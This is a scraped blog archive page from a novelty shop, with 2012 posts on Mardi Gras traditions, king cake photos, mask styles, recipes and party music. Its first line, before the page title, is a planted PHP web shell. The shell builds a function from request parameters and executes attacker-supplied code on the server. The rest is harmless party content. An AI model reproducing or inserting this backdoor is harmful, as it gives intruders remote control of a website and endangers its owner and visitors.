if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['23b7a1817bbeab83e775fa3ce1a3753b']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Mardi Gras | The Party FAQ - Windy City Novelties Blog

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Popular Mardi Gras Traditions

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by on January 19, 2012 at 1:49 pm

Mardi Gras Traditions are one of the most fun parts of the holiday.

There are a lot of Mardi Gras Traditions which can be found both in New Orleans and at celebrations around the globe.

To help keep you in the party loop, here are some Popular Mardi Gras Traditions and the stories behind them.

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Traditional Colors

14 Popular Mardi Gras Traditions The traditional colors of Mardi Gras are purple, green, and gold. These colors are said to have been chosen by Grand Duke Alexis Alexandrovitch Romanoff of Russia during a visit to New Orleans in 1872.  This doctrine was reaffirmed in 1892, when the Rex Parade theme “Symbolism of Colors” gave the colors their meanings.

In his book “Krewe: The Early New Orleans Carnival: Comus to Zulu,” Errol Laborde shows the above mentioned meanings of the Mardi Gras colors to be false. He gives a much simpler origin, having to do primarily with looking good.

Purple stands for Justice.  Gold stands for Power.  And Green stands for Faith.

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Beads

216 Popular Mardi Gras Traditions
Inexpensive strings of beads and toys have been thrown from floats to parade-goers since at least the late 19th century. Until the 1960s, the most common form was multi-colored strings of glass beads made in Czechoslovakia. These were supplanted by less expensive and more durable plastic beads, first from Hong Kong, then from Taiwan, and more recently from China. Lower-cost beads and toys allow riders to purchase greater quantities and throws have become more numerous and common.

In the 1990s, many people lost interest in small, cheap beads, often leaving them where they landed on the ground. Larger, more elaborate metallic beads and strands with figures of animals, people, or other objects have become the sought-after throws. David Redmon’s 2005 film of cultural and economic globalization, Mardi Gras: Made in China, follows the production and distribution of beads from a small factory in Fuzhou, China to the streets of New Orleans during Carnival.

With the advent of the 21st century, more sophisticated throws began to replace simple metallic beads. Krewes started to produce limited edition beads and plush toys that are unique to the krewe. Fiber optic beads and LED-powered prizes are now among the most sought-after items. In a retro-inspired twist, glass beads have returned to parades. Now made in India, glass beads are one of the most valuable throws.

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Doubloons

3 Popular Mardi Gras TraditionsOne of the many Mardi Gras throws which krewes fling into the crowds, doubloons are large coins, either wood or metal, made in Mardi Gras colors. Artist H. Alvin Sharpe created the modern doubloon for The School of Design (the actual name of the Rex organization). According to the krewe history, in January 1959 Sharpe arrived at the offices of the captain of the krewe with a handful of aluminum discs. Upon entering the office, he threw the doubloons into the captain’s face to prove that they would be safe to throw from the floats. Standard krewe doubloons usually portray the Krewe’s emblem, name, and founding date on one side, and the theme and year of the parade and ball on the other side. Royalty and members of the court may throw specialty doubloons, such as the special Riding Lieutenant doubloons given out by men on horseback in the Rex parade. In the last decade, krewes have minted doubloons specific to each float. Krewes also mint special doubloons of cloisonné or pure silver for its members. They never throw these from the floats. Original Rex doubloons are valuable, but it is nearly impossible for aficionados to find a certified original doubloon. The School of Design did not begin dating their doubloons until a few years after their introduction.

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King cake
411 Popular Mardi Gras Traditions

The first week of January in New Orleans starts the King cake season. King cakes first appeared after 1872, when the Rex Krewe selected the Mardi Gras colors (purple, green and gold). The traditional King cake is a coffee cake, and is oblong and braided. It is iced with a simple icing and covered with purple, green and gold sugar. Each cake contains a hidden bean or small plastic baby, and custom tells that whoever finds it must either buy the next King cake or throw the next King cake party. One Mardi Gras organization uses the King cake tradition to choose the queen of its annual ball. Hundreds of King cake parties are thrown every year and hundreds of thousands of cakes are made, bought and eaten every year.

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What’s Your Favorite Mardi Gras Tradition?

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Credit all information to Wikipedia.

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Top 10 Mardi Gras King Cake Pictures

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by on January 18, 2012 at 3:10 pm

Mardi Gras King Cakes are one of the biggest highlights of the festivities in New Orleans each year.

Each Mardi Gras King Cake is distinct from all the others, but they all share one amazing trait:  they’re delicious!

So sit back, relax, and enjoy the sight of the Top 10 Mardi Gras King Cakes.

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116 Top 10 Mardi Gras King Cake Pictures

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215 Top 10 Mardi Gras King Cake Pictures

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315 Top 10 Mardi Gras King Cake Pictures

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410 Top 10 Mardi Gras King Cake Pictures

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59 Top 10 Mardi Gras King Cake Pictures

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64 Top 10 Mardi Gras King Cake Pictures

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73 Top 10 Mardi Gras King Cake Pictures

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8 Top 10 Mardi Gras King Cake Pictures

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9 Top 10 Mardi Gras King Cake Pictures

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10 Top 10 Mardi Gras King Cake Pictures

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Which Mardi Gras Mask is Best for You?

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by on January 18, 2012 at 9:42 am

Mardi Gras isn’t just all about beads and Bourbon Street.  Costumes and Mardi Gras masks are also a hallmark of this holiday.

But, how do you know which Mardi Gras mask is for you?  Are there specific masks for men and women?

To help you answer these questions, here’s quick overview of what we have in stock and what the hottest Mardi Gras masks of the year will be.

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Masks with Bling

114 Which Mardi Gras Mask is Best for You?The first rule of Mardi Gras Masks is that they are meant to be seen.  Don’t choose a demure mask.  That’s not what this holiday is all about.

Mardi Gras is about overindulging and having all out fun.  That’s exactly what your mask should be like.

That’s why Sequin Masks and Glitter Masks are good choices.  Both offer bright colors and reflective elements to really make them stand out.

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Get your Peacock On
213 Which Mardi Gras Mask is Best for You?

If you’re not wearing a mask with sequins or glitter, then you are wearing one with feathers.  Feather masks are quite popular for Mardi Gras and are easily the most worn variety.

While feathers aren’t reflective like sequins or glitter, they are just as eye catching and are often more elaborate than their shiny counterparts.

The overall variety offered with feather masks gives you a wider selection than those with glitter or sequins, so if you like to shop around, Mardi Gras Feather Masks are the way to go.

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Glow for the Gold

49 Which Mardi Gras Mask is Best for You?A relative newcomer to the stage of all things Mardi Gras masks is the Mardi Gras Glow Mask.  Just as the name implies, this is a mask which will glow like a glow stick.

Mardi Gras Glow Masks  are similar to the glitter and sequin masks both in their simple style and bright nature.  The biggest difference is that when the sun goes down, glitter masks and sequin masks won’t ‘pop’ as much while a Mardi Gras Glow Mask finds its time to shine.  Literally.

If you plan on doing your Mardi Gras Partying at night, you’ll definitely want to consider this item.

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What Mask will you Wear for Mardi Gras?


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Don’t Party on an Empty Stomach – Mardi Gras Foods

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by on January 9, 2012 at 3:08 pm

Whether you are throwing a Mardi Gras bash or just heading out to some parties on your own, don’t make the mistake of partying on an empty stomach!

Food and parties go hand in hand.  Food gives you the energy you need to keep partying and fun foods only make a good party better.

To help you make the most of your Mardi Gras, consider the tasty Mardi Gras recipes when you get your party started.

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Big Charlie’s Gumbo
110 Dont Party on an Empty Stomach   Mardi Gras Foods

 Ingredients

  • 2 tablespoons butter
  • 3 cloves garlic, minced
  • 2 cups chopped onion
  • 3/4 cup chopped celery
  • 1 pound okra, chopped
  • 1/4 cup butter
  • 1/4 cup all-purpose flour
  • 1/2 pound cubed beef stew meat (optional)
  • 8 cups water
  • 1 (16 ounce) can whole tomatoes, undrained and chopped
  • 1 1/2 teaspoons white sugar
  • 1 1/2 tablespoons chopped fresh parsley
  • 1 sprig fresh thyme
  • 2 bay leaves
  • 1 pinch salt
  • 1/2 teaspoon ground cayenne pepper
  • 1 pinch ground black pepper
  • 1 pound andouille sausage, cut into 1/2 inch pieces
  • 1/2 pound crabmeat, flaked
  • 1 pound medium shrimp – peeled and deveined
  • 1/2 teaspoon hot pepper sauce
  • 1/4 cup Worcestershire sauce
  • 1/2 lemon

Directions

  1. Melt butter in a large skillet over medium heat. Cook garlic, onions, celery and okra, stirring constantly until golden brown.  Set aside.
  2. In a large heavy bottomed stock pot over medium-high heat, combine 1/4 cup of butter and flour. Cook, stirring constantly, until the roux becomes chocolate brown. Stir in the vegetable mixture, and stew meat. Cook, stirring, until vegetables are tender, and meat is evenly brown. Stir in water, tomatoes and sugar. Season with parsley, thyme, bay leaves, salt, cayenne pepper and black pepper. Bring to a boil, reduce heat, and simmer for 2 1/2 hours, stirring occasionally.
  3. Add shrimp, crabmeat and andouille to stock pot. Stir in hot pepper sauce and Worcestershire sauce. Remove seeds from lemon and squeeze juice into stock pot.  Simmer an additional 10 minutes, stirring occasionally. Remove bay leaves, sprinkle with file powder, and serve.

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Beignets
28 Dont Party on an Empty Stomach   Mardi Gras Foods

Ingredients

  • 2 1/4 teaspoons active dry yeast
  • 1 1/2 cups warm water (110 degrees F/45 degrees C)
  • 1/2 cup white sugar
  • 1 teaspoon salt
  • 2 eggs
  • 1 cup evaporated milk
  • 7 cups all-purpose flour
  • 1/4 cup shortening
  • 1 quart vegetable oil for frying
  • 1/4 cup confectioners’ sugar

Directions

  1. In a large bowl, dissolve yeast in warm water. Add sugar, salt, eggs, evaporated milk, and blend well. Mix in 4 cups of the flour and beat until smooth. Add the shortening, and then the remaining 3 cups of flour. Cover and chill for up to 24 hours.
  2. Roll out dough 1/8 inch thick. Cut into 2 1/2 inch squares. Fry in 360 degree F (180 degrees C) hot oil. If beignets do not pop up, oil is not hot enough. Drain onto paper towels.
  3. Shake confectioners’ sugar on hot beignets. Serve warm.

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Mardi Gras King Cake
39 Dont Party on an Empty Stomach   Mardi Gras Foods

Ingredients

PASTRY:

  • 1 cup milk
  • 1/4 cup butter
  • 2 (.25 ounce) packages active dry yeast
  • 2/3 cup warm water (110 degrees F/45 degrees C)
  • 1/2 cup white sugar
  • 2 eggs
  • 1 1/2 teaspoons salt
  • 1/2 teaspoon freshly grated nutmeg
  • 5 1/2 cups all-purpose flour

FILLING:

  • 1 cup packed brown sugar
  • 1 tablespoon ground cinnamon
  • 2/3 cup chopped pecans
  • 1/2 cup all-purpose flour
  • 1/2 cup raisins
  • 1/2 cup melted butter

FROSTING:

  • 1 cup confectioners’ sugar
  • 1 tablespoon water

Directions

  1. Scald milk, remove from heat and stir in 1/4 cup of butter. Allow mixture to cool to room temperature. In a large bowl, dissolve yeast in the warm water with 1 tablespoon of the white sugar. Let stand until creamy, about 10 minutes.
  2. When yeast mixture is bubbling, add the cooled milk mixture. Whisk in the eggs. Stir in the remaining white sugar, salt and nutmeg. Beat the flour into the milk/egg mixture 1 cup at a time. When the dough has pulled together, turn it out onto a lightly floured surface and knead until smooth and elastic, about 8 to 10 minutes.
  3. Lightly oil a large bowl, place the dough in the bowl and turn to coat with oil. Cover with a damp cloth or plastic wrap and let rise in a warm place until doubled in volume, about 2 hours. When risen, punch down and divide dough in half.
  4. Preheat oven to 375 degrees F (190 degrees C). Grease 2 cookie sheets or line with parchment paper.
  5. To Make Filling: Combine the brown sugar, ground cinnamon, chopped pecans, 1/2 cup flour and 1/2 cup raisins. Pour 1/2 cup melted butter over the cinnamon mixture and mix until crumbly.
  6. Roll dough halves out into large rectangles (approximately 10×16 inches or so). Sprinkle the filling evenly over the dough and roll up each half tightly like a jelly roll, beginning at the wide side. Bring the ends of each roll together to form 2 oval shaped rings. Place each ring on a prepared cookie sheet. With scissors make cuts 1/3 of the way through the rings at 1 inch intervals. Let rise in a warm spot until doubled in size, about 45 minutes.
  7. Bake in preheated oven for 30 minutes. Push the doll into the bottom of the cake. Frost while warm with the confectioners’ sugar blended with 1 to 2 tablespoons of water.

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For More Great Recipes like these, be sure to head over to AllRecipes.com

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HOW TO: Choose Music for your Mardi Gras Party

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by on January 9, 2012 at 1:43 pm

Mardi Gras Shot 3 large HOW TO:  Choose Music for your Mardi Gras PartyMusic is always an important aspect of any party.  Sometimes you need it to play a prominent role and other times it is great to just have it in the background.  But no matter what, music is essential for a good party.

Choosing the right music doesn’t have to be hard.  Take cues from your party and you’ll know exactly what to play.  When it comes to music for a Mardi Gras party, a few ideas should already jump to mind.

Let’s go ahead and explore what would be great Mardi Gras music.

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Stick with your Theme

Like any party theme, Mardi Gras already has some types of music associated with it.  New Orleans hosts the biggest Mardi Gras celebration around and they love jazz music.  So that’s the first option you should explore.

If you are really trying to re-create a New Orleans style Mardi Gras party, jazz is the way to go.  But don’t just play any type.  You’ll want to get some big band jazz to give your party some energy.  Slow or soft jazz is sure to settle the mood down.

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Get with the Times

On the other hand, your Mardi Gras party is happening now.  And nowadays we have a lot of party music to choose from.  Mardi Gras may be a celebration with its roots in the past, but your music can help bring it into the present.

If your party is going to have a lot of guests in their 20s-30s, you’ll probably want to consider  music from the top of the pop charts.  Just choose songs which will help keep the energy up.  And select a variety.  Some people will like dance music while other’s want something they can sing along to.

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Guest-imate

You know your party guests and you know what they like (if not, just ask!).  If you and your guests love to line dance and normally enjoy country music, then drop some in your mix!

The key to playing good music is to always give your guests what they are going to like.  Even if that means playing marching band music at a Christmas party, you’ve got to accomodate your audience.  Don’t be afraid to leave the theme behind if it means raising the energy level of your party.  A good DJ watches how the crowd reacts to each song, and slowly hones in on the genre which makes the most people happy.

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What Music will you play at your Mardi Gras Party?

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in Mardi Gras

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